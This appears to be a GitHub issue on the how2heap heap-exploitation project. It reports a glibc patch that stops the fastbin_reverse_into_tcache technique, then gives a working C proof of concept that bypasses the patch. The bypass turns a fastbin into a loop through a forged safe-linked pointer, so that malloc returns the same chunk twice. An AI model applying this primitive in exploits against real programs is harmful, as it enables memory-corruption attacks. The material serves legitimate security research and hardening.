how2heap icon indicating copy to clipboard operation
how2heap copied to clipboard

fastbin_reverse_into_tcache no longer works on glibc master

Open kenballus opened this issue 1 week ago • 0 comments

...because I wrote a patch :)

The patch adds a check when moving chunks from fastbin to tcache that the size field in the chunks makes sense.

Even with this patch, you can still pull off a similar attack by making the fastbin into a loop as follows:

#include <stdint.h>
#include <stdlib.h>

int main(void) {
    void *p[15];
    // Make 15 allocations
    for (int i = 0; i < 15; i++) {
        p[i] = malloc(1);
    }

    // Free them all
    for (int i = 0; i < 15; i++) {
        free(p[i]);
    }

    // tcache:  p[6] -> p[5] -> p[4] -> p[3] -> p[2] -> p[1] -> p[0]
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]

    // Clear out the tcache
    for (int i = 0; i < 7; i++) {
        void *unused = malloc(1);
    }

    // tcache:  (empty)
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]

    // Change p[7]'s forward link from PROTECT_PTR(NULL) to PROTECT_PTR(p[13])
    uint64_t *const p7_chunk = (uint64_t *)p[7] - 2;
    p7_chunk[2] =
        (uintptr_t)(((uint64_t *)p[13]) - 2) ^ ((uintptr_t)p7_chunk >> 12);

    // tcache:  (empty)
    //                     +-------------------------------------------------------+
    //                     |                                                       |
    //                     \/                                                      |
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+

    // Make a single allocation. This will cause the first 7 entries in the
    // fastbin to be moved into the tcache. It also reverses their order.
    void *unused = malloc(1);

    // i.e., first
    // tcache:  (empty)
    //            +-------------------------------------------------------+
    //            |                                                       |
    //            \/                                                      |
    // fastbin: p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+

    // then,
    // tcache:  p[7] -> p[8] -> p[9] -> p[10] -> p[11] -> p[12] -> p[13]
    // fastbin: p[13]

    // Because p[13] is last in the tcache list, it gets PROTECT_PTR(NULL)
    // written into its fd field. This is convenient, because it means that
    // other than the fact that p[13] is present in both the fastbin and tcache,
    // the heap is in a *totally valid state*. In other words, the attack cleans
    // up after itself :)

    // Clear out the tcache again, except the last
    for (int i = 0; i < 6; i++) {
        void *unused = malloc(1);
    }

    // tcache:  p[13]
    // fastbin: p[13]

    // Should get p[13]
    void *poisoned_1 = malloc(1);

    // tcache:  (empty)
    // fastbin: p[13]

    // Should get p[13]
    void *poisoned_2 = malloc(1);
    return poisoned_1 != poisoned_2;
}

kenballus avatar Feb 14 '25 19:02 kenballus